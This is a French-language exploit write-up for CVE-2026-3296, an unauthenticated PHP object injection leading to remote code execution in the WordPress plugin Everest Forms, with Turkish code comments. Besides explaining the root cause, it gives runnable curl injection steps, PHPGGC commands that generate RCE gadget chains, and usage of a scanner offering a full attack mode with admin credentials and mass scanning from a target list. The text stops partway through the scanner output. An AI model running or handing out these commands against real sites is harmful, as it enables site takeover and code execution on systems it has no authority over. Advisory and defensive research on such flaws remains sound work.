CVE-2026-3296
CVE-2026-3296 est une vulnérabilité critique (CVSS 9.8) d'injection d'objets PHP (PHP Object Injection) non authentifiée dans le plugin WordPress Everest Forms
Plugin : Everest Forms – Formulaire de contact, formulaire de paiement, quiz, sondage et créateur de formulaires personnalisés
Slug du plugin : everest-forms
ID CVE : CVE-2026-3296
Score CVSS : 9.8 (Critique)
Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Type de vulnérabilité : PHP Object Injection non authentifiée → RCE
Versions affectées : <= 3.4.3
Version corrigée : 3.4.4
Date de publication : 7 avril 2026
Chercheur : 0xsabre — Mobikwik / Wordfence
📌 À propos de la vulnérabilité
Le plugin Everest Forms appelle la fonction native PHP unserialize() sans le paramètre allowed_classes lorsqu'il affiche les métadonnées des saisies de formulaire dans le panneau d'administration.
Un attaquant non authentifié peut intégrer un payload d'objet PHP sérialisé dans n'importe quel champ de formulaire public et l'enregistrer dans la base de données. Lorsque l'entrée est affichée dans le panneau d'administration, unserialize() est déclenchée et n'importe quelle chaîne de gadgets POP présente dans l'environnement est exécutée.
🔍 Résumé de la vulnérabilité
⚙️ Analyse technique
Modèle d'attaque en deux phases
PHASE 1 — INJECTION (aucune authentification requise)
PHASE 2 — DÉCLENCHEMENT (affichage du panneau d'administration)
Phase 1 — Injection : stockage du payload
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
Pourquoi la sanitisation est insuffisante (evf-core-functions.php, ligne 4754)
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
$entry['form_fields'][$key] = sanitize_text_field(
$entry['form_fields'][$key]
);
Ce payload est entièrement préservé après sanitize_text_field() :
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
Bug supplémentaire — retour prématuré (ligne 4764)
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
...
return $entry; // ← BUG: döngü ilk iterasyonda çıkar
}
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
// maybe_serialize() düz string'i değiştirmez
// → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
Phase 2 — Déclenchement : désérialisation non sécurisée
Code vulnérable (html-admin-page-entries-view.php, lignes 130–133)
$meta_value = is_serialized( $meta_value )
? $meta_value
: wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value );
// ↑ allowed_classes parametresi YOK
// PHP varsayılanı: TÜM sınıflar instantiate edilebilir
// → POP gadget chain tetiklenir
}
Un wrapper sécurisé existe mais n'est pas utilisé (evf-core-functions.php, ligne 5594)
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // Güvenli
}
return null;
}
return $data;
}
Pourquoi le nonce n'offre-t-il aucune protection ?
<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">
Le nonce assure la protection CSRF, pas l'authentification.
L'attaquant ouvre la page du formulaire en GET, lit le nonce, puis envoie le payload en POST.
🔴 Chaîne d'attaque complète
┌──────────────────────────────────────────────────────────────┐
│ PHASE 1 — INJECTION (non authentifiée) │
│ │
│ GET /contact/ │
│ → form_id=123, nonce=abc123, field=text_xyz │
│ │
│ POST /contact/ │
│ everest_forms[id]=123 │
│ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │
│ _wpnonce123=abc123 │
│ │ │
│ ├── sanitize_text_field() → sérialisation conservée │
│ ├── maybe_serialize() → string inchangé │
│ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │
└──────────────────────────┬───────────────────────────────────┘
│ (l'administrateur effectue un contrôle de routine)
┌──────────────────────────▼───────────────────────────────────┐
│ PHASE 2 — DÉCLENCHEMENT (panneau d'administration) │
│ │
│ GET /wp-admin/admin.php │
│ ?page=evf-entries&form_id=123&view-entry=456 │
│ │ │
│ ├── is_serialized($meta_value) = true │
│ ├── unserialize($meta_value) ← VULNÉRABILITÉ │
│ │ allowed_classes = (absent) → toutes les classes │
│ └── POP gadget chain → __wakeup() / __destruct() │
│ → RCE / écriture de fichier / exfiltration │
└──────────────────────────────────────────────────────────────┘
🧪 Preuve de concept (manuelle)
⚠️ Avertissement : ce PoC est fourni uniquement à des fins éducatives et de recherche
en sécurité défensive.
Prérequis :
- Everest Forms <= 3.4.3 installé et actif
- Page de formulaire accessible publiquement
- Accès au panneau d'administration (pour le déclenchement)
TARGET="https://target-site.example.com/contact/"
# Form ID çıkar
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
# Nonce çıkar
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'
Étape 2 — Créer un payload de test bénin
# Güvenli test — stdClass, magic method yok
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'
Pour un environnement réel, générez une chaîne POP avec PHPGGC :
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s
# Monolog chain
phpggc Monolog/RCE1 system "id" -s
Étape 3 — Injecter le payload
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"
curl -s -X POST "$TARGET" \
-d "everest_forms[id]=${FORM_ID}" \
-d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
-d "_wpnonce${FORM_ID}=${NONCE}" \
-d "everest_forms[hp][abc]="
Attendu : message de succès du formulaire ou redirection.
Étape 4 — Vérifier dans la base de données (WP-CLI)
wp db query \
"SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
--allow-root
# O:8:"stdClass":2:{...} satırı görünmeli
Étape 5 — Déclencher en tant qu'administrateur
https://target-site.example.com/wp-admin/admin.php
?page=evf-entries
&form_id=123
&view-entry=<ENTRY_ID>
Lorsque la page se charge, unserialize() est exécutée.
Étape 6 — Vérification de la chaîne de gadgets (environnement de test)
// test-gadget.php — SADECE TEST ORTAMINDA KULLAN
class TestGadget {
public function __wakeup() {
file_put_contents(
'/tmp/pwned.txt',
'PHP Object Injection confirmed at ' . date('c')
);
}
}
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...
🛠️ Scanner automatisé
Installation
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt
requirements.txt
🚀 Utilisation
Détection de la vulnérabilité (payload bénin)
python everest_forms_poi.py -u http://hedef.com --mode scan
Injection uniquement (phase 1)
python everest_forms_poi.py -u http://hedef.com --mode inject \
--payload-type probe
Attaque complète (phase 1 + phase 2)
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123!
python everest_forms_poi.py -u http://hedef.com --mode inject \
--form-id 5 --field-name text_abc123 \
--custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'
Détection par callback OOB (Burp Collaborator)
python everest_forms_poi.py -u http://hedef.com --mode scan \
--payload-type ssrf \
--callback-url http://your.burp.collaborator.net
Scan en masse
python everest_forms_poi.py -l targets.txt -t 10 \
--mode scan -o sonuclar.txt
Avec un proxy (Burp Suite)
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123! \
--proxy http://127.0.0.1:8080
⚙️ Paramètres
Mode
| Mode | Description |
|---|
scan | Injecte un payload bénin — détection de la vulnérabilité |
inject |
Paramètres généraux
Options du payload
Identifiants administrateur
| Paramètre | Description |
|---|
--admin-user | Nom d'utilisateur administrateur |
--admin-pass | Mot de passe administrateur |
💀 Types de payload
💡 Génération d'une vraie chaîne avec PHPGGC :
# WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s
# Monolog/RCE1
phpggc Monolog/RCE1 system "id" -s
# Tüm mevcut chain'leri listele
phpggc -l
📊 Statuts de sortie du scanner
🖥️ Exemple de sortie du scanner
[*] Cible : http://hedef.com
[*] Mode : full
[*] Payload : probe
[*] Commande : id
[*] Admin User : admin
[→] http://hedef.com Étape 1 : recherche du formulaire Everest Forms...
[→] http://hedef.com Étape 2 : injection du payload...
[→] http://hedef.com Étape 3 : connexion admin...
[→] http://hedef.com Étape 4 : recherche de l'ID de l'entrée...
[→] http://hedef.com Étape 5 : unser